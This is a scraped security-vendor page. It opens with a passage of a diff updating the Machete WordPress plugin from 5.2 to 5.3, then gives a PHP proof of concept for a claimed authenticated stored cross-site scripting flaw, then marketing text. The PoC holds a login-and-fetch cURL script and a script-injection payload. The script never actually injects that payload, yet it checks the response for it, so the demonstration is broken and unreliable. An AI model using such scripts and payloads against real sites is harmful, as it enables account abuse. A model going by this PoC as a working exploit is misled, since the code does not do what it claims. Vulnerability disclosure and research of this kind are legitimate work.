+
+		// translators: %s: number of removed cron events.
+		$this->notice( sprintf( _n( '%s expired cron event removed.', '%s expired cron events removed.', $removed, 'machete' ), number_format_i18n( $removed ) ), 'success' );
 		return true;
 	}
 	/**
--- a/machete/inc/powertools/i18n.php
+++ b/machete/inc/powertools/i18n.php
@@ -10,14 +10,15 @@
 	exit;
 }

-$this->params['title']       = '<span style="color: #ff9900">' . __( 'PowerTools', 'machete' ) . '</span>';
-$this->params['full_title']  = __( 'Machete PowerTools', 'machete' );
-$this->params['description'] = __( 'Machete PowerTools is a free upgrade module targeted at WordPress developers and power users.', 'machete' );
+$this->params['title']              = '<span style="color: #ff9900">' . __( 'PowerTools', 'machete' ) . '</span>';
+$this->params['full_title']         = __( 'Machete PowerTools', 'machete' );
+$this->params['description']        = __( 'Advanced tools for WordPress developers and power users. Disabled by default.', 'machete' );
+$this->params['activation_warning'] = __( 'This module contains options that can break your site. Only use them if you know what you are doing.', 'machete' );

 /* Powertools options array */
 $this->powertools_array['widget_shortcodes'] = array(
 	'title'       => __( 'Shortcodes in Widgets', 'machete' ),
-	'description' => __( 'Enables the use of shortcodes in text/html widgets. It may slightly impact performance', 'machete' ),
+	'description' => __( 'Enables shortcodes in classic Text and Custom HTML widgets.', 'machete' ) . '<br>' . __( 'For block-based widget areas (WordPress 5.8+), use the Shortcode block instead. Only needed on legacy themes and classic widget setups.', 'machete' ),
 );

 $this->powertools_array['rss_thumbnails'] = array(
@@ -53,5 +54,15 @@

 $this->powertools_array['disable_search'] = array(
 	'title'       => __( 'Disable search', 'machete' ),
-	'description' => __( 'Disables the public search from WordPress', 'machete' ),
+	'description' => __( 'Disables public search on the frontend. Search URLs return a 404, search forms are hidden, and the Search widget is removed from widget areas.', 'machete' ) . '<br>' . __( 'Does not affect admin search. Useful for brochure sites and layouts that do not need public search.', 'machete' ),
+);
+
+$this->powertools_array['show_admin_ids'] = array(
+	'title'       => __( 'Show IDs in admin lists', 'machete' ),
+	'description' => __( 'Adds an ID column to post, page, taxonomy and user list screens in the WordPress admin.', 'machete' ),
+);
+
+$this->powertools_array['disable_admin_bar_frontend'] = array(
+	'title'       => __( 'Disable admin bar on frontend', 'machete' ),
+	'description' => __( 'Hides the WordPress admin bar on the frontend for all users except administrators.', 'machete' ),
 );
--- a/machete/inc/powertools/powertools.php
+++ b/machete/inc/powertools/powertools.php
@@ -20,6 +20,8 @@
 disable_feeds
 enable_svg
 disable_search
+show_admin_ids
+disable_admin_bar_frontend
 */

 // enable shortcodes in widgets.
@@ -30,15 +32,50 @@
 // enable rss thumbnails.
 if ( in_array( 'rss_thumbnails', $this->settings, true ) && ! is_admin() ) {
 	/**
-	 * Adds the featured image before the content.
+	 * Returns the featured image or the first attached image HTML for RSS feeds.
+	 *
+	 * @param int $post_id Post ID.
+	 * @return string
+	 */
+	function machete_get_rss_thumbnail_html( $post_id ) {
+		if ( has_post_thumbnail( $post_id ) ) {
+			return get_the_post_thumbnail( $post_id, 'full' );
+		}
+
+		$attachments = get_children(
+			array(
+				'post_parent'    => $post_id,
+				'post_status'    => 'inherit',
+				'post_type'      => 'attachment',
+				'post_mime_type' => 'image',
+				'orderby'        => 'menu_order',
+				'order'          => 'ASC',
+				'numberposts'    => 1,
+			)
+		);
+
+		if ( empty( $attachments ) ) {
+			return '';
+		}
+
+		$attachment = array_shift( $attachments );
+
+		return wp_get_attachment_image( $attachment->ID, 'full' );
+	}
+
+	/**
+	 * Adds the featured or first attached image before the content.
 	 *
 	 * @param string $content post content.
 	 */
 	function machete_add_rss_thumbnail( $content ) {
 		global $post;
-		if ( has_post_thumbnail( $post->ID ) ) {
-			$content = '<div class="post-thumbnail-feed">' . get_the_post_thumbnail( $post->ID, 'full' ) . '</div>' . $content;
+
+		$thumbnail_html = machete_get_rss_thumbnail_html( $post->ID );
+		if ( '' !== $thumbnail_html ) {
+			$content = '<div class="post-thumbnail-feed">' . $thumbnail_html . '</div>' . $content;
 		}
+
 		return $content;
 	}
 	add_filter( 'the_excerpt_rss', 'machete_add_rss_thumbnail' );
@@ -115,35 +152,152 @@

 // disable Search.
 if ( in_array( 'disable_search', $this->settings, true ) ) {
-	/**
-	 * Removes search.
-	 *
-	 * @param WP_Query $query The query object that parsed the query.
-	 */
 	add_action(
 		'parse_query',
 		function ( $query, $error = true ) {
-			if ( is_search() ) {
-				$query->is_search       = false;
-				$query->query_vars['s'] = false;
-				$query->query['s']      = false;
-				if ( true === $error ) {
-					$query->is_404 = true;
-				}
+			if ( is_admin() || ! $query->is_main_query() || ! $query->is_search() ) {
+				return;
+			}
+
+			$query->is_search       = false;
+			$query->query_vars['s'] = false;
+			$query->query['s']      = false;
+			if ( true === $error ) {
+				$query->is_404 = true;
 			}
 		}
 	);
 	add_filter(
 		'get_search_form',
-		// phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter
-		function ( $a ) {
+		function ( $form ) {
+			if ( is_admin() ) {
+				return $form;
+			}
 			return null;
 		}
 	);
 	add_action(
 		'widgets_init',
 		function () {
+			if ( is_admin() ) {
+				return;
+			}
 			unregister_widget( 'WP_Widget_Search' );
 		}
 	);
 }
+
+// Show post, term and user IDs in admin list tables.
+if ( in_array( 'show_admin_ids', $this->settings, true ) && is_admin() ) {
+	/**
+	 * Inserts an ID column after the primary list column.
+	 *
+	 * @param array $columns List table columns.
+	 * @return array
+	 */
+	function machete_add_admin_id_column( $columns ) {
+		$new_columns = array();
+		$inserted    = false;
+
+		foreach ( $columns as $key => $label ) {
+			$new_columns[ $key ] = $label;
+			if ( ! $inserted && in_array( $key, array( 'title', 'name', 'username', 'cb' ), true ) ) {
+				$new_columns['machete_id'] = __( 'ID', 'machete' );
+				$inserted                  = true;
+			}
+		}
+
+		if ( ! $inserted ) {
+			$new_columns['machete_id'] = __( 'ID', 'machete' );
+		}
+
+		return $new_columns;
+	}
+
+	/**
+	 * Renders the post ID column value.
+	 *
+	 * @param string $column_name Column slug.
+	 * @param int    $post_id     Post ID.
+	 */
+	function machete_render_admin_post_id_column( $column_name, $post_id ) {
+		if ( 'machete_id' === $column_name ) {
+			echo esc_html( (string) $post_id );
+		}
+	}
+
+	/**
+	 * Renders the term ID column value.
+	 *
+	 * @param string $string      Column output.
+	 * @param string $column_name Column slug.
+	 * @param int    $term_id     Term ID.
+	 * @return string
+	 */
+	function machete_render_admin_term_id_column( $string, $column_name, $term_id ) {
+		if ( 'machete_id' === $column_name ) {
+			return esc_html( (string) $term_id );
+		}
+		return $string;
+	}
+
+	/**
+	 * Renders the user ID column value.
+	 *
+	 * @param string $value       Column output.
+	 * @param string $column_name Column slug.
+	 * @param int    $user_id     User ID.
+	 * @return string
+	 */
+	function machete_render_admin_user_id_column( $value, $column_name, $user_id ) {
+		if ( 'machete_id' === $column_name ) {
+			return esc_html( (string) $user_id );
+		}
+		return $value;
+	}
+
+	add_action(
+		'admin_init',
+		function () {
+			$post_types = get_post_types(
+				array(
+					'show_ui' => true,
+				),
+				'names'
+			);
+
+			foreach ( $post_types as $post_type ) {
+				add_filter( "manage_{$post_type}_posts_columns", 'machete_add_admin_id_column' );
+				add_action( "manage_{$post_type}_posts_custom_column", 'machete_render_admin_post_id_column', 10, 2 );
+			}
+
+			$taxonomies = get_taxonomies(
+				array(
+					'show_ui' => true,
+				),
+				'names'
+			);
+
+			foreach ( $taxonomies as $taxonomy ) {
+				add_filter( "manage_edit-{$taxonomy}_columns", 'machete_add_admin_id_column' );
+				add_filter( "manage_{$taxonomy}_custom_column", 'machete_render_admin_term_id_column', 10, 3 );
+			}
+		}
+	);
+
+	add_filter( 'manage_users_columns', 'machete_add_admin_id_column' );
+	add_filter( 'manage_users_custom_column', 'machete_render_admin_user_id_column', 10, 3 );
+}
+
+// Hide the admin bar on the frontend for non-administrators.
+if ( in_array( 'disable_admin_bar_frontend', $this->settings, true ) && ! is_admin() ) {
+	add_action(
+		'after_setup_theme',
+		function () {
+			if ( current_user_can( 'manage_options' ) ) {
+				return;
+			}
+			show_admin_bar( false );
+		}
+	);
+}
--- a/machete/machete-admin.php
+++ b/machete/machete-admin.php
@@ -61,6 +61,19 @@
 				$machete->notice( sprintf( __( 'You are using Tracking settings from a previous Machete version. Go to the %1$sAnalytics & Code Module page%2$s and <strong>Save Settings</strong> to remove this notice.', 'machete' ), '<a href="' . $module_url . '">', '</a>' ), 'warning', false );
 			}
 		}
+		if ( defined( 'MACHETE_POWERTOOLS_INIT' ) ) {
+			$plugins_url = admin_url( 'plugins.php' );
+			$machete->notice(
+				sprintf(
+					/* Translators: 1: link open tag 2: link close tag */
+					__( 'The Machete PowerTools plugin is no longer needed and can be uninstalled. %1$sGo to Plugins%2$s.', 'machete' ),
+					'<a href="' . esc_url( $plugins_url ) . '">',
+					'</a>'
+				),
+				'warning',
+				true
+			);
+		}
 	}
 );

@@ -82,16 +95,45 @@
 			}
 		);

-		// Enqueue admin styles.
+		// Enqueue admin styles and About page scripts.
 		add_action(
 			'admin_enqueue_scripts',
-			function () {
+			function ( $hook_suffix ) {
 				wp_enqueue_style(
 					'machete_admin_4',
 					plugin_dir_url( __FILE__ ) . 'css/admin.css',
 					array(),
 					MACHETE_VERSION
 				);
+
+				if ( 'toplevel_page_machete' !== $hook_suffix ) {
+					return;
+				}
+
+				wp_enqueue_script(
+					'machete-module-activate-warning',
+					MACHETE_BASE_URL . 'inc/about/js/module-activate-warning.js',
+					array( 'wp-element', 'wp-components', 'wp-i18n' ),
+					MACHETE_VERSION,
+					true
+				);
+
+				wp_localize_script(
+					'machete-module-activate-warning',
+					'macheteAboutWarning',
+					array(
+						'confirm' => __( 'Activate', 'machete' ),
+						'cancel'  => __( 'Cancel', 'machete' ),
+					)
+				);
+
+				if ( function_exists( 'wp_set_script_translations' ) ) {
+					wp_set_script_translations(
+						'machete-module-activate-warning',
+						'machete',
+						MACHETE_BASE_PATH . 'languages'
+					);
+				}
 			}
 		);
 	}
--- a/machete/machete.php
+++ b/machete/machete.php
@@ -3,7 +3,7 @@
  * Plugin Name: Machete
  * Plugin URI: https://machetewp.com
  * Description: Machete is a lean and simple suite of tools that makes WordPress development easier: cookie bar, tracking codes, custom code editor, header cleanup, post and page cloner
- * Version: 5.2
+ * Version: 5.3
  * Requires at least: 5.9
  * Requires PHP: 7.4
  * Author: Nilo Velez
@@ -22,7 +22,7 @@
 	exit;
 }

-define( 'MACHETE_VERSION', '5.2' );
+define( 'MACHETE_VERSION', '5.3' );

 $machete_get_upload_dir = wp_upload_dir();
 define( 'MACHETE_BASE_PATH', plugin_dir_path( __FILE__ ) );
@@ -57,15 +57,30 @@
 require MACHETE_BASE_PATH . 'inc/woocommerce/class-machete-woocommerce-module.php';
 require MACHETE_BASE_PATH . 'inc/powertools/class-machete-powertools-module.php';

-// Management of disabled modules.
-$machete_disabled_modules = get_option( 'machete_disabled_modules', array() );
-foreach ( $machete_disabled_modules as $machete_module ) {
-	if (
-		isset( $machete->modules[ $machete_module ] ) &&
-		$machete->modules[ $machete_module ]->params['can_be_disabled']
-	) {
-		$machete->modules[ $machete_module ]->params['is_active'] = false;
+// Management of enabled modules.
+if ( null === get_option( 'machete_enabled_modules', null ) ) {
+	$machete_enabled_modules = array();
+	foreach ( $machete->modules as $machete_module ) {
+		if ( ! $machete_module->params['can_be_disabled'] ) {
+			continue;
+		}
+		if ( $machete_module->params['is_active_default'] ) {
+			$machete_enabled_modules[] = $machete_module->params['slug'];
+		}
+	}
+	add_option( 'machete_enabled_modules', $machete_enabled_modules );
+}
+
+$machete_enabled_modules = get_option( 'machete_enabled_modules', array() );
+foreach ( $machete->modules as $machete_module ) {
+	if ( ! $machete_module->params['can_be_disabled'] ) {
+		continue;
 	}
+	$machete_module->params['is_active'] = in_array(
+		$machete_module->params['slug'],
+		$machete_enabled_modules,
+		true
+	);
 }

 // Main init.
@@ -74,14 +89,6 @@
 	function () {
 		global $machete;

-		load_plugin_textdomain( 'machete', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
-
-		// Manage of external modules.
-		if ( defined( 'MACHETE_POWERTOOLS_INIT' ) ) {
-			$machete->modules['powertools']->params['is_active']   = true;
-			$machete->modules['powertools']->params['description'] = __( 'Machete PowerTools are now active! Enjoy your new toy!', 'machete' );
-		}
-
 		// Disable WooCommerce module if WooCommece is active.
 		if ( ! function_exists( 'is_woocommerce' ) ) {
 			$machete->modules['woocommerce']->params['is_active']      = false;
--- a/machete/uninstall.php
+++ b/machete/uninstall.php
@@ -13,7 +13,7 @@
 }

 // machete module manager options.
-delete_option( 'machete_disabled_modules' );
+delete_option( 'machete_enabled_modules' );

 // machete cleanup options.
 delete_option( 'machete_cleanup_settings' );
@@ -32,3 +32,6 @@

 // machete WooCommerce options.
 delete_option( 'machete_woocommerce_settings' );
+
+// machete powertools options.
+delete_option( 'machete_powertools_settings' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65538 - Machete <= 5.2 - Authenticated (Author+) Stored Cross-Site Scripting

// This PoC demonstrates how an authenticated author could exploit the
// 'activation_warning' parameter if it were injected into a module's params.
// The PoC simulates the payload insertion and uses cURL to verify XSS
// execution on the admin page.

$target_url = 'http://your-wordpress-site.com'; // Change this to your target site
$username = 'author_username'; // Change this to an author-level account
$password = 'author_password'; // Change this to the password

// Step 1: Authenticate the user and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Since the 'activation_warning' is set at module init, this PoC simulates the malicious value.
// In a real exploit, this value would come from a database or a vulnerable save routine.
// The payload is crafted to break out of the HTML attribute and execute JavaScript.
$malicious_warning = '"><script>alert("XSS_Success")</script>';

// Step 3: Access the Machete about page (or any page that renders the module template)
// The module list is displayed here. Since the payload is stored in the module params,
// the XSS will execute when this page is rendered.
$admin_page_url = $target_url . '/wp-admin/admin.php?page=machete-about';
$ch = curl_init($admin_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Check if the XSS payload is present in the response
if (strpos($response, 'data-warning-message=""><script>alert("XSS_Success")</script>') !== false) {
    echo "[+] Vulnerability verified! XSS payload found in the page.n";
} else {
    echo "[-] Vulnerability not verified. The payload might not be echoed back.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.